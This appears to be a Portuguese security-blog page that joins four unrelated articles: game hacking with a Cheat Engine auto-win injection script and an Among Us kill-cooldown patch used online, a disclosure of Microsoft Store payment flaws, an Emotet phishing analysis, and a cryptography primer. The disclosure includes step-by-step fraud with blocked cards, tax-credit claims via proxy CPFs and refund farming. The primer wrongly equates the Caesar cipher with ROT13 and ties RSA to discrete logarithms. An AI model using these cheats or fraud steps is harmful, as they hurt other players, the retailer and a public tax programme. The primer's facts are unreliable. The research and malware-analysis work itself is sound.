    As vezes vale a pena alterar uma região de memória próxima a variáveis importantes e observar se algo mudou dentro do jogo. Apesar de diversas vezes resultar em crashes, às vezes pode render resultados interessantes,descobrindo listas ou IDs de itens:
    Exemplo de Fuzzing obtendo os endereços da lista de parceiros e desbloqueando personagens não jogáveis
    Quem acessa esse endereço? e Injeção de código
    Na maioria dos debuggers é possível adicionar um breakpoint de dado, que trava a execução do programa quando uma instrução faz uma leitura ou uma escrita naquele endereço. Isso pode ser muito útil para encontrar funções relacionadas à aquela variável.
    Em alguns casos além de apenas alterar o valor de variáveis é interessante alterar também trechos de código para que o programa se comporte diferente. Para isso, uma técnica usada para alterar dinamicamente o código em execução é o code hooking. Esta técnica consiste em substituir uma instrução por um jump para uma região de memória não utilizada ou alocada pelo debugger. Nessa região, além do código removido dar espaço ao jump, podemos adicionar novas instruções. Ao fim do hook ele retorna para o endereço subsequente ao pulo:

    Esquema de mapa de memória e execução durante um hook
    Em um dos casos que encontrei tratava-se de um jogo onde a pontuação mudava dinamicamente a cada nível, com isto, apesar do valor da variável da pontuação ser conhecida, trocar manualmente seu valor era desconfortável.
    Portanto, adicionando um breakpoint de dado no valor da pontuação encontrei a função que checa se a pontuação foi atingida a cada quadro:
    1.mov eax,[ecx+000000A0] ;Pontuação atual lida 2.mov ecx,[ecx+000000A4] ;Pontuação meta lida 3.cmp eax,ecx ; compara os pontos atuais com a meta 4.<--je 05AE94C6 5.mov eax,[ebp+08] 6.mov eax,[eax+000000A8] 7.test eax,eax 8.jne 05AE9C7F ;Todo este trecho é pulado se não atingirmos a meta 9.mov eax,[ebp+08] 10.movzx eax,byte ptr [eax+7C] 11.test eax,eax 12.jne 05AE9C7F 13.-->mov eax,[ebp+08] 14.mov eax,[eax+28] ;resto da função 15.mov ecx,eax ... Apesar de ser muito difícil interpretar o que toda a função faz, apenas as 4 primeiras instruções são importantes.
    Se a pontuação atual for diferente do objetivo, o trecho do meio responsável por passar de fase não roda. Eu tentei remover apenas o jump e forçar sua execução mas o jogo trava, provavelmente devido a uma comparação futura com a pontuação. Portanto, a ideia é roubar o fluxo de execução logo antes da comparação da instrução 3 ser executada.
    Para descobrir o endereço de onde deve ser injetado o pulo é possível fazer um scan por Array of bytes. No caso buscamos o padrão das instruções acima. Essa é uma maneira consistente de manter o cheat funcionando mesmo após atualizações que modifiquem o binário, pois mesmo que o endereço da função mude, dificilmente suas instruções serão alteradas
    O Cheat Engine em especial permite escrever um script que realiza essa busca e aplica o hook. Quando o script está ativo ele aplica os patches necessários, enquanto está desativado ele reverte as alterações para o código original. Dessa forma foi simples criar um botão de auto win para qualquer estágio do jogo:
    aobscan(INJECT,8B 89 A4 00 00 00 3B C1 74) ;sequência de instruções a ser buscada alloc(newmem,$1000) [ENABLE] code: mov eax,[ecx+000000A4] ;Instrução original de leitura - lê a meta mov [ecx+000000A0],eax ;copia a meta para a pontuação atual mov ecx,eax ;e também para o registrador onde está a pontuação atual jmp return ;volta para a execução normal de código  
    Exemplo de injeção de código criando um botão de auto win
    Exemplo de injeção de código alterando o comportamento dos inimigos para curar o jogador
    Online multiplayer
    Enquanto nos jogos single player o uso de cheats traz pouco ou nenhum problema para os demais jogadores, quando se trata de multiplayer online, sobretudo dos jogos mais competitivos, cheats podem se tornar um pesadelo quando jogadores passam a obter vantagens absurdas sobre os demais, criando um ambiente injusto e frustrante dentro da partida.
    Felizmente as engines que suportam multiplayer já são pensadas com a segurança em mente, mitigando a maioria das técnicas discutidas na seção sobre single player.
    Modelo de cliente servidor
    O modelo de cliente servidor assume que existe uma máquina na rede que possui autoridade sobre as demais máquinas, máquina esta chamada de servidor. O servidor também contém um único estado do jogo que é replicado para os demais clientes. Toda a interação entre jogadores deve passar pelo servidor, já que os clientes não possuem nenhuma conexão entre si. Com isto, é tarefa do servidor validar todos os inputs recebidos antes de replicá-los. Existem duas formas de interação servidor-cliente, são elas Remote Procedure Calls (RPCs) e Replicação de Variáveis.
    RPCs são um pedido feito para outra máquina rodar um código específico e estes pedidos podem ser feitos pelo servidor ou pelo cliente. Por exemplo, se o jogador 1 de um jogo tiro deseja atirar, os outros clientes devem ser capazes de observar que o disparo foi realizado. Para isso ele deve solicitar ao servidor que realize um disparo usando uma RPC. Em seguida, o servidor deve solicitar aos demais jogadores que repliquem esse disparo, partindo da cópia que cada um deles tem do jogador 1:

    Exemplo de código multiplayer para FPS implementado na Unreal Engine 4
    A segunda forma de comunicação é a replicação de variáveis. Diferente de RPCs, a replicação ocorre apenas do servidor para o cliente. No exemplo acima a função dar dano altera (server side) a variável "vidaDoPersonagem". Quando isso acontece, o servidor envia um pacote atualizando o seu valor para todos os clientes. Portanto, nenhum cliente possui de fato a variável vida mas uma cópia dela. Por isso as técnicas de alteração de variáveis discutidas na seção de jogos offline raramente funcionam em multiplayers. Embora seja possível alterar essa cópia, o estado do jogo no servidor permanece intacto, então mesmo que você tenha 1000 de vida em sua cópia, quando você morrer no servidor, ainda ocorrerá uma RPC para a sua máquina e para os outros jogadores avisando que você morreu.
    Tradeoff entre jogabilidade e segurança - O problema do input
    Sempre que o servidor recebe uma atualização do cliente ele deve checar se a ação feita pelo jogador é válida, como por exemplo se o jogador ainda possui munição antes de atirar, se a arma não está em recarga, etc. Todavia, algumas ações são praticamente impossíveis de serem verificadas. Um servidor poderia verificar por exemplo todo o input feito pelo jogador, enviando cada botão pressionado para que o servidor calcule coisas como posição ou ângulo da câmera, porém devido à latência de rede e o tempo de processamento isso significaria uma jogabilidade travada e lenta. A menos que o jogo seja lento como uma partida de xadrez, o servidor precisa confiar parcialmente no input dado pelo usuário. Por isso, cheats como speedhacks e aimbots são tão comuns. Posição e orientação de onde o jogador está olhando são basicamente controladas pelo cliente.
    Algumas engines como a Unreal conseguem mitigar os efeitos de possíveis speed hacks calculando em server side a posição que o personagem deveria estar e aplicando as devidas correções no cliente. Essas correções também servem para sincronizar o cliente com o servidor em situações de dessincronia como durante perdas de pacotes:
    Exemplo de correção de posicionamento pelo servidor na Unreal Engine 4
    Padrões inseguros de programação para multiplayer
    Não validar corretamente a entrada de RPCs; No caso acima um cliente não íntegro poderia passar um valor elevado como parâmetro, dando danos absurdos aos adversários; Não validar o tempo entre RPCs; O jogador não deve atirar milhares de vezes por segundo, mas não tem nada no servidor que impeça isso; Não replicar as variáveis necessárias; O desenvolvedor não deve confiar ao cliente variáveis importantes como vida ou munição.
    Exemplo de código multiplayer vulnerável
    RCEs e ataques a outros jogadores
    Quando um desenvolvedor publica um jogo ele está distribuindo software que vai rodar no computador de diversos usuários. Como qualquer outro programa, ele é suscetível à ataques clássicos de corrupção de memória como buffer overflow, Use After Free, etc, que podem permitir execução remota de código para outros atacantes que possam interagir com o programa. Esse foi o caso do CVE-2019-15943, onde no Counter-Strike: Global Offensive (CSGO) um jogador poderia convidar outro player para uma partida utilizando um mapa customizado. O mapa customizado era criado especificamente para fazer o jogo crashar, corrompendo a cadeia SHE e potencialmente permitindo a execução de código na máquina do usuário que entrou na partida.
    Acessibilidade ao código, Unity e Among Us
    Há alguns meses atrás eu estava curioso para ver como o game Among Us implementa algumas coisas. Uma breve pesquisa no google revela que o jogo foi desenvolvido usando a Unity Engine. Saber em qual engine o programa é produzido é útil na hora de olhar pelos arquivos do game durante uma análise estática. A Unity utiliza C# como linguagem de programação, gerando arquivos .NET (quando no Windows) que são facilmente decompilados e editáveis por ferramentas como dnSpy, tornando o processo de modificação e engenharia reversa bem simples. No entando, atualmente a Unity suporta também o uso do IL2cpp, um conversor de linguagem intermediária (IL) para C++ antes de gerar o pacote do projeto. Isso gera benefícios como performance para o jogo e também dificulta o acesso ao código.
    Entretanto, o processo de engenharia reversa não é impossível. Utilizando a ferramenta IL2cppDumper é possível extrair a partir dos arquivos de metadados os offsets de cada função do GameAssembly.dll, bem como seus respectivos nomes. Vasculhando pelas funções foi possível encontrar a rotina que gerencia o cooldown do botão de matar quando o jogador é o impostor:

    Método responsável pelo cooldown do botão, decompilado pelo ghidra

    Código assembly referente ao método SetTimeKiller
    Aqui vemos que a função recebe o tempo como parâmetro e seu primeiro uso é escrevê-lo em um dos atributos do objeto. Um hack interessante e bem crítico seria transformar qualquer tempo de cooldown em 0.

    Código assembly após o patch
    Troquei a instrução xmm0,[ebp +0xc] que lia o argumento da pilha por um simples xor eax,eax, zerando o registrador.
    No lugar de movss [esi+0x44],xmm0 basta mover o valor de eax, como se todo o argumento fosse 0. Com apenas duas instruções alteradas, o exploit funcionou bem mesmo em sessões online.
    O servidor não checava o tempo entre as RPCs para matar o jogador, permitindo assim abusos por clientes modificados e eventualmente frustrando os demais jogadores depois de morrerem em partidas de 10 segundos ou menos.


     
    Método após o patch, decompilado pelo Ghidra
    Referências
    https://www.youtube.com/watch?v=GxthbWfSak8 https://docs.unrealengine.com/en-US/InteractiveExperiences/Networking/Server/index.html https://docs.unrealengine.com/en-US/InteractiveExperiences/Networking/CharacterMovementComponent/index.html

    astrounder
    As 3 vulnerabilidades que serão explicadas neste artigo foram reportadas para o MSFT, para o pessoal interno do Xbox Brasil e Microsoft Games, porém mesmo depois de mais de 6 meses lutando pela correção das vulnerabilidades não houve interesse da Microsoft em corrigi-las. Por esse motivo decidi publicá-las.
    Nota: Existem mais vulnerabilidades como essas que o MSFT informou não ter impacto que também serão publicadas em breve.
    Depois de bypassar os meios de pagamento e de assinar os serviços de assinatura do Gamepass através da Sandbox dos desenvolvedores da Microsoft, encontrei outras 3 falhas de lógica nos processos de pagamento da Microsoft.
    Vulnerabilidade 1 - Entendendo a vulnerabilidade que permite gerar notas fiscais dos jogos de Xbox sem comprá-los e a possibilidade de lucrar através do Nota Fiscal Paulista:
    Este bug permite que um agente malicioso gere Notas Fiscais de jogos do Xbox mesmo que a compra não seja realizada. Essa vulnerabilidade pode ser usada por um golpista para ganhar dinheiro através de perdas financeiras da Microsoft, pois existe a possibilidade do consumidor resgatar parte do valor pago em imposto através do programa chamado “Nota Fiscal Paulista”.
    Como a Microsoft Store gera NFs (Notas Fiscais) sem nenhum tipo de controle, é possível tentar realizar a compra de jogos em pré-venda sem pagar por eles e mesmo quando as licenças dos jogos são revogadas por falta de pagamento, o golpista receberá a fatura do jogo como se tivesse realizado a compra. Com isso, o Xbox pagará o valor do imposto do jogo vendido e o golpista poderá lucrar até 30% do valor do ICMS (Imposto sobre Circulação de Mercadorias e Serviços).
    Reproduzindo a falha
    Primeiro precisamos lembrar de uma das primeiras vulnerabilidades que reportei a Microsoft, na qual era possível comprar os jogos da Microsoft Store sem pagar por eles. Reproduzindo a primeira vulnerabilidade:
    Registramos um cartão válido na nossa conta do Xbox Live ou MSA. Cancelamos e bloqueamos o cartão de crédito no banco emissor. Também podemos utilizar uma conta do paypal sem nenhum cartão de crédito cadastrado ou um cartão de crédito pré-pago. Agora com cartão inválido, conta do paypal ou cartão pré-pago podemos comprar os jogos em pré-venda. Como a cobrança também pode ser realizada 10 dias antes do lançamento, conseguimos baixar os jogos sem termos o valor do jogo debitado. A tentativa de débito do cartão registrado será realizada 10 dias antes do lançamento do jogo e você poderá receber várias notificações informando sobre a falha no pagamento. Nesse momento é que era encontrada a primeira falha, pois a licença do produto não era revogada. Agora com a correção da vulnerabilidade e com a licença revogada, não teremos acesso ao produto, porém o restante dos processos financeiros continuarão independente do pagamento ser realizado ou não. Com isto, quando a Microsoft revogar a licença do jogo, podemos ir até a nossa conta MSA e notar que receberemos a nota fiscal do produto sem pagar por ele.
    Entendendo como ganhar dinheiro com a falha
    O agente malicioso usa o bug para obter várias faturas sem pagar pelos jogos. Exemplo: o invasor compra R$ 10.000 em jogos usando várias contas MSA. A Microsoft vai gerar a Nota Fiscal e pagar R$ 1.700 para a cidade de São Paulo (a taxa é de mais ou menos 17%.). Mesmo que o pagamento dos jogos não seja realizado, o agente malicioso recebe as Notas fiscais após ter as licenças dos jogos revogadas pela Microsoft. O golpista entra no site https://www.nfp.fazenda.sp.gov.br/login.aspx e resgata R$ 510 do seu CPF (ou CPFs de laranja). Com isso em mente, podemos criar várias contas e dessa maneira comprar o mesmo jogo várias vezes: 1 conta MSA comprando R$ 10.000 irá resgatar R$ 510 com o Nota Fiscal Paulista; 10 conta MSA comprando R$ 10.000 irá resgatar R$ 5,100 com o Nota Fiscal Paulista; Obs.: o salário mínimo no Brasil é de R $ 1.100. O golpista pode atingir quase 5 vezes essa quantidade aplicando golpes na Microsoft.
    PoC



    Vulnerabilidade 2 - Entendendo a vulnerabilidade que permite adicionar dinheiro infinito na carteira da Microsoft Store:
    Continuando a mesma reprodução do bug anterior: quando recebemos as Notas Fiscais dos jogos comprados, mas não recebemos o jogo comprado.
    Existe uma janela que você poderá jogar os jogos comprados com o bug de 1-3 dias depois do seu lançamento. Depois disso a licença do jogo será revogada e você não poderá jogá-lo mais.
    Com isso, há algum processo que faz a validação para identificar se o usuário que recebeu a nota fiscal também recebeu o jogo. Caso o usuário mesmo depois de receber a Nota Fiscal ainda não tenha recebido o jogo, o valor da compra será estornado para o cartão de crédito cadastrado. No entanto, como não temos cartão válido para o estorno, não recebemos o valor de volta.
    Para amenizar toda essa confusão com a compra e para agradar seu cliente, a Microsoft envia um “mimo” de R$ 27,00, mas o que acontece se reproduzirmos esse mesmo bug várias vezes seguidas? Bom, eis a resposta:
    PoC





    Sendo assim é possível pacientemente executar várias vezes esse processo para receber dinheiro de reembolso.
    Um agente malicioso poderia criar várias contas, adicionar dinheiro na carteira dessas contas e revender os jogos da loja. Como existe a opção de comprar o jogo como presente, os jogos poderiam ser enviados a qualquer usuário do Xbox Live.
    Outro ponto importante é que não existe segregação nas lojas da Microsoft Store e Xbox. Sendo assim, caso seja adicionado um bom valor à conta do usuário, além dos jogos este usuário poderá comprar licenças do Windows, Office 365, mouses, notebooks, etc.
    Vulnerabilidade 3 - Entendendo a vulnerabilidade que permite comprar jogos versão Ultimate/Deluxe/Definitiva e pagar apenas pelo jogo Standard:
    Ainda seguindo a mesma lógica dos bugs reportados anteriormente... Além das duas vulnerabilidades acima, reportei a vulnerabilidade que permite que eu possa comprar jogos standard e usufruir da versão Ultimate. Como seria isso?
    Reproduzindo a falha
    Siga os mesmos passos que usamos para gerar as notas fiscais sem pagar pelo jogo. A diferença é que nesse caso devemos escolher a versão mais cara do jogo (lembrando que esse bug irá funcionar para jogos em pré order). Realizando o teste no jogo Watch Dogs Legion no qual a edição Standard custa R$ 279,95 e a edição Ultimate custa R$ 459.95. Compramos o jogo edição Ultimate com um cartão inválido e quando este jogo for lançado teremos a licença revogada. Se tentarmos jogá-lo depois do seu lançamento receberemos a mensagem que o jogo deve ser comprado novamente (até aí tudo bem). O problema é que a Xbox revoga apenas a licença do jogo e não a licença dos conteúdos premium, Season Pass, DLCs, etc. Nesse caso, apesar de não termos mais a licença do jogo base, ainda temos a licença de todo o resto do conteúdo premium.
    Agora para usufruir do jogo edição Ultimate (valor R$ 459,95), precisamos apenas comprar a versão standard do jogo pagando os R$ 279,95. Isso nos dá uma economia e prejuízo para a Microsoft/Ubisoft de R$ 180,00.
    Referências
    https://github.com/smarlonfabiano/xbox_xpl https://twitter.com/astrounder
    https://www.linkedin.com/in/marlonfabiano/
    https://portal.fazenda.sp.gov.br/servicos/nfp https://portal.fazenda.sp.gov.br/servicos/nfp/Paginas/Como-é-feito-o-cálculo-do-crédito.aspx https://epocanegocios.globo.com/colunas/Financas-de-Bolso/noticia/2017/01/como-ganhar-dinheiro-com-nota-fiscal-paulista.html

    sfigueiredobr
    91% dos crimes virtuais tem como vetor de ataque inicial o e-mail. Os anos vão passando e os atacantes aprimoram suas técnicas, fazendo o máximo possível para que um e-mail com conteúdo malicioso chegue à caixa de entrada de sua vítima.
    No final do ano passado, recebi uma mensagem suspeita para análise e compartilho com vocês através deste artigo o desfecho dessa história.
    Introdução
    A análise foi iniciada após o recebimento de um e-mail que foi reportado por um grupo de usuários como suspeito. A mensagem, em português,  tem conteúdo que faz referência a uma suposta nota fiscal que estaria acessível através de um anexo.
    No campo From, observo uma tentativa clara de simular uma troca interna de mensagens já que onde deveria ser exibida o nome do remetente está um endereço de e-mail, com o mesmo domínio do destinatário, e ao lado podemos visualizar o e-mail que de fato foi utilizado para o envio da mensagem.

    Neste momento, já existiam evidências suficientes para contestar a veracidade da mensagem. Segui com a análise pois notei algo que me chamou atenção.
    Submeti os hashes dos arquivos, tanto o compactado quanto o que foi extraído, para uma consulta no VirusTotal (VT) e fiquei surpreso ao perceber que não existiam registros de análises anteriores.
    Pois bem, isso foi o suficiente para estimular a minha curiosidade e tentar entender se neste caso tratava-se de um ataque direcionado ou se eram apenas arquivos circulando por aí.
    Análise Estática
    Segui então com a análise do e-mail e capturei para consulta o IP e domínio do servidor de e-mail que  foi utilizado como relay para o envio da mensagem e também o suposto IP de origem da mensagem:


    Fiz uma breve pesquisa sobre estes indicadores e notei que o domínio inepaca[.]net é bem antigo e com ótima reputação, já o IP de origem é de um serviço de internet doméstica na Itália o que levanta a suspeita de que esta mensagem veio de uma máquina previamente comprometida e parte da botnet:

    Esses fatores contribuem para que a mensagem passe pelos filtros de segurança e chegue até a caixa de entrada do usuário, cenário que fortalece a importância de um processo de conscientização em segurança da informação.
    Após descompactar o arquivo anexo, tive acesso a outro arquivo com a extensão .docx que quando executado com o Microsoft Word automaticamente já era exibido em Modo Protegido. É comum a utilização de documentos do Microsoft Office como mecanismo para download da ameaça principal já que estes apoiam a estratégia de engenharia social utilizada pelos atacantes, simulando arquivos legítimos que normalmente circulam nas empresas, e possibilitam a execução de códigos VBA (Visual Basic for Applications).
    Analisando o documento observei a presença de macros AutoOpen. Esse tipo de macro visa a execução de diversas instruções em background quando o documento for  aberto.
    Por padrão, as versões mais recentes do Microsoft Word já desabilita a execução de macros junto a inicialização dos documentos, solicitando ao usuário que habilite a execução deste tipo de conteúdo alertando sobre o risco em potencial.
    Para tentar contornar esta proteção, os atacantes geralmente incluem uma imagem no corpo documento solicitando a habilitação do conteúdo e neste caso não foi diferente:

    Ao abrir os recursos de desenvolvedor, que deve ser habilitado customizando a guia de opções dentro do Microsoft Word, tive acesso ao editor de Visual Basic e localizei dois módulos e um deles era bem extenso e com várias funções e nomes que mais pareciam palavras geradas aleatoriamente. Neste momento fiquei na dúvida se aquele código era válido ou se estava ali somente para gerar confusão, dificultando a análise.
    Passei alguns dias analisando o código e ainda não havia chegado a um entendimento completo sobre o resultado de sua execução. Neste momento o leitor pode se perguntar por que o binário não foi submetido para análise em uma sandbox. Naquele momento eu ainda não tinha indícios suficientes de que não se tratava de um ataque direcionado.
    Olhando as propriedades do arquivo notei que o arquivo estava protegido para edição, uma restrição simples, sem senha, que após um clique o arquivo estava liberado. O que poderia ter no conteúdo do arquivo ou na imagem que eu não pude notar?
    Luz! Pressionei CTRL + T para selecionar  o conteúdo do arquivo  e notei que a seleção destacou algumas linhas de texto logo abaixo da imagem:

    Como as letras estavam brancas, coloquei a cor preta e aumentei a fonte. Pronto! O “segredo” foi revelado:

    Naveguei até o final do conteúdo e desconfiei de que provavelmente o texto, na verdade, era uma string base64 ofuscada com conteúdo irrelevante inserido de forma intencional:

    As coisas começaram a fazer sentido. Nas imagens é possível perceber que os caracteres qq)(s2) se repetem por todo o texto. Apenas removendo os caracteres que se repetem já percebemos que se trata de um script em Powershell:

    Continuei o tratamento da string utilizando a ferramenta Cyberchef, extraindo algumas URLs do código. A string foi ofuscada em pelo menos três camadas e ao final codificada em base64:

    Fiz uma pesquisa em cima das URL’s e, com base nas informações obtidas, pude ter uma noção melhor da infraestrutura utilizada. Nesse momento percebi que poderia iniciar uma análise dinâmica, já que a probabilidade de um ataque direcionado foi bastante reduzida.
    Análise dinâmica
    O binário foi submetido à plataforma Any.Run e de cara já percebemos que a ferramenta detecta a presença da ameaça EMOTET:

    Com a execução do binário pude complementar a análise estática do arquivo, verificando que a macro executa o código em PowerShell de forma indireta, através do Windows Management Instrumentation (WMI).
    Utilizar recursos nativos do sistema para execução de código é uma técnica que tem sido bastante explorada pelos atacantes na tentativa de evadir mecanismos de detecção que estejam em execução no sistema da vítima.
    Continuando a análise, fechei o quebra-cabeça analisando o arquivo PCAP gerado e localizando a URL utilizada para a comunicação e download de um arquivo malicioso:

    O arquivo baixado é da extensão  .DLL, submeti o hash deste binário à uma pesquisa e diferente dos arquivos anteriores, encontrei uma análise no VT com um índice de detecção considerável.
    O termo Emotet se refere a um trojan bancário que foi utilizado por uma quantidade significativa de mecanismos durante o processo de classificação.
    Conclusão
    Até o início deste ano podíamos considerar o Emotet como uma das ameaças mais complexas em atividade. No final de janeiro, toda a sua infraestrutura foi desmantelada em uma ação conjunta de empresas privadas e forças policiais de diversos países.
    Através de um processo automatizado, o Emotet se propagava em campanhas de phishing ( como a analisada neste artigo) que de várias maneiras tentam induzir as vítimas a executarem os anexos maliciosos.
    Após surgir como um banking trojan em meados de 2014 e expandir suas atividades ao longo dos anos, acabou se tornando uma das principais portas de entrada para outras ameaças e ataques de escala global. No ano passado, as campanhas ganharam atenção novamente já que além da própria botnet o malware passou a ser mecanismo de distribuição de outras ameaças.
    As técnicas utilizadas pelo atacante e apresentadas neste artigo são observadas em uma série de campanhas que ainda estão em curso. Sendo assim, considerar uma campanha de conscientização para complementar os controles tecnológicos continua sendo uma ótima estratégia, afinal, 91% dos crimes virtuais se iniciam com um e-mail.
    Você já conhece o curso de Análise de Malware Online (AMO)? Se não conhece, cola lá no canal do Mente Binária no Youtube e aproveite  a oportunidade de aprender gratuitamente como fazer análises semelhantes às realizadas neste artigo.
    Outras referências
    https://threats.kaspersky.com/br/threat/Trojan-Banker.Win32.Emotet/ https://www.malwarebytes.com/emotet/

    Chinchila
    O que é criptografia?
    É uma área de estudo que tem foco em transferir dados entre um grupo sem que alguém de fora desse grupo consiga recuperar os dados. Para isso é necessário alguma convenção do grupo, todos eles devem usar um mesmo mecanismo que geralmente envolve algum passo a passo, o que chamamos de algoritmo, e uma chave que apenas as pessoas do grupo podem ter acesso.
    Criptografia clássica
    Desde muito tempo temos essa necessidade de trocar informações de forma secreta, então antes mesmo de existir computadores já existia a criptografia. Antigamente eram bem comuns esquemas de cifra de substituição, ou seja, um grupo criava um mapa de representação de caracteres, por exemplo o “A” vira “C”, “B” vira “K”, e por aí vai.
    Um bom exemplo é a cifra de césar, também conhecida como ROT13, é uma cifra de substituição bem simples que cada caractere é mapeado para uma posição, por exemplo “A” vira “0”, “B” vira “1”, etc. Depois disso era escolhida uma chave, no caso o césar escolheu 13, e todas as posições eram somadas 13, então onde tinha “A” vira a letra na posição 13 que é a letra “N”, “B” vira a da posição 14 ou seja a letra “O”, etc.

    Figura 1 - Uma ilustração do mapa e a palavra CESAR ambas com a chave 13
    Além da cifra de César, outra bem comum, porém menos antiga, é a cifra de Vigenère que na verdade é uma generalização da cifra de César. Basicamente invés de somar uma chave fixa vamos somar o deslocamento da chave mais do texto simples. Por exemplo, vamos ter uma chave “ACB” e um texto simples “DFG”, então o “D” vira a posição 4 do alfabeto que começa com a letra “A”, o “F” vira a posição 6 do alfabeto que começa com C e por aí vai.
    Criptografia moderna
    Com a popularização dos computadores a criptografia clássica foi ficando obsoleta porque a capacidade de cálculo do computador é muito alta. Logo, por exemplo,  se uma pessoa interceptar uma cifra feita com o esquema de César fica muito fácil para ela recuperar a informação sem saber a chave, apenas testando todas as chaves possíveis.
    A partir dessa fraqueza dos esquemas clássicos surgiu a criptografia moderna que engloba esquemas de chave simétrica, assimétrica e funções hash. A criptografia de chave simétrica funciona com o princípio de que existe uma chave secreta e alguns exemplos de primitivas são AES e Salsa20. Em geral, essas primitivas se baseiam em uma matemática pesada, extensa e difícil que acaba se reduzindo a operações de bit a bit, como XOR e AND. Embora as primitivas já tragam bastante segurança, não é recomendado usar apenas a primitiva e sim uma implementação dela, como por exemplo AES-256 que usa a primitiva do AES porém com uma chave de 256 bits. Além disso, no caso de cifras em blocos, também é interessante utilizar algum modo de operação, que é essencialmente como cada bloco vai ser processado a cada passo da encriptação.

    Figura 2 - Criptografia com chave simétrica
    Além da criptografia de chave simétrica, também existe a de chave assimétrica que se baseia em uma chave pública, que pode ser conhecida por qualquer um, e uma privada, que é secreta. As primitivas desse tipo são baseadas em uma função armadilha, que é uma função na qual é muito fácil realizar uma operação de transformação mas é muito difícil realizar o inverso. Um bom exemplo para esse tipo é o RSA, as funções armadilhas do RSA são a de logaritmo discreto e a fatoração de um número.

    Figura 3 - Criptografia com chave assimétrica
    Além desses esquemas também vieram as funções hash, que são funções que transformam um dado em um conjunto de bits de forma que aquele dado seja único, para garantir unicidade na verdade se parte do princípio de que com uma probabilidade muito baixa dois dados vão ter o mesmo conjunto de bits, então sempre pode acontecer de ter a chamada colisão que é quando dois dados geram a mesma hash. Exemplos de funções hash são MD5 e SHA1, que  estão depreciadas pois já foram encontradas formas de gerar colisão, e SHA2 que até agora está bem.
    Criptografia pós quântica
    Na década de 90, mais precisamente entre 1995 e 1996, surgiram dois algoritmos, um deles, o algoritmo de Shor, diz que é possível inverter uma função armadilha na qual grande parte dos esquemas assimétricos são estruturados e o outro, algoritmo de Grover, descreve uma forma de diminuir o tempo da busca pela chave secreta de esquemas simétricos. Porém ambos algoritmos precisam de um computador quântico que ainda não foi desenvolvido, com a chegada desses algoritmos a comunidade científica que pesquisa criptografia viu que era necessário criar esquemas baseados em problemas que nem computadores quânticos conseguissem quebrar, e aí surgiu a criptografia pós quântica.
    Só para sabermos a proporção, ter esses algoritmos significa que qualquer um com acesso a um computador quântico forte o suficiente vai conseguir ver qualquer dado que uma pessoa troca com a maioria dos sites, seja cartão de crédito, endereço, senhas, isso porque a maioria dos sites usa um esquema junto do protocolo TLS que é “quebrável” com o algoritmo de Shor.
    Embora os algoritmos existam há bastante tempo, somente em 2016 começaram a planejar uma padronização assim como fizeram com AES e RSA. O National Institute of Standards and Technology ou NIST organizou alguns rounds em que pesquisadores pudessem compartilhar esquemas que pudessem ser usados como primitivas para uma troca segura de informações. Os esquemas nesses rounds são divididos em algumas funções de armadilha que possuem muitos casos de borda e acabam sendo bem fáceis de resolver nesses casos, então para criar um esquema bom é preciso bastante conhecimento no problema matemático que ele é baseado, além de conhecimento de ataques.
    Como transferir/armazenar dados de forma segura?
    Transferir dados de forma segura parece uma tarefa difícil depois de ler um pouco sobre criptografia pós quântica, porém ainda não sabemos quando um computador quântico bom o suficiente vai ser criado.
    Para transferir dados encriptados em um protocolo de texto usamos algum tipo de encoding. Encoding é só uma tradução do dado de uma convenção para outra, os mais comuns que consigo lembrar são codificação base64 e hexadecimal. Lembrando que encoding não é considerado criptografia pois não envolve nenhuma chave e nem funções de uma via, como nos hashes.
    Seguem algumas boas práticas para troca e armazenamento de dados:
    Nunca implemente um esquema criptográfico. Sempre use bibliotecas de preferência com código aberto, a não ser que você saiba realmente o que está fazendo.
    Nunca armazene senhas em texto simples. É recomendado armazenar hashes de senhas.
    Sempre verifique a integridade do arquivo que foi transferido, seja pela hash ou verificando alguma assinatura.
    Sempre troque chaves secretas com algum mecanismo seguro de troca de chaves.
    Para se manter atualizado sobre o estado da arte da criptografia é interessante ver blogs de pesquisadores e publicações científicas. Muitos pesquisadores publicam no ePrint da iacr onde também tem várias palestras gratuitas. Outras apresentações muito boas são da conferência Chaos Computer Club, onde grandes pesquisadores montam palestras com conteúdo muito bom e didático. Se você curte uns desafios, também tem o site CryptoHack, que tem vários desafios bem interessantes de RSA, criptografia de curvas elípticas, AES, desafios matemáticos e até alguns de hashing.

×
×
  • Create New...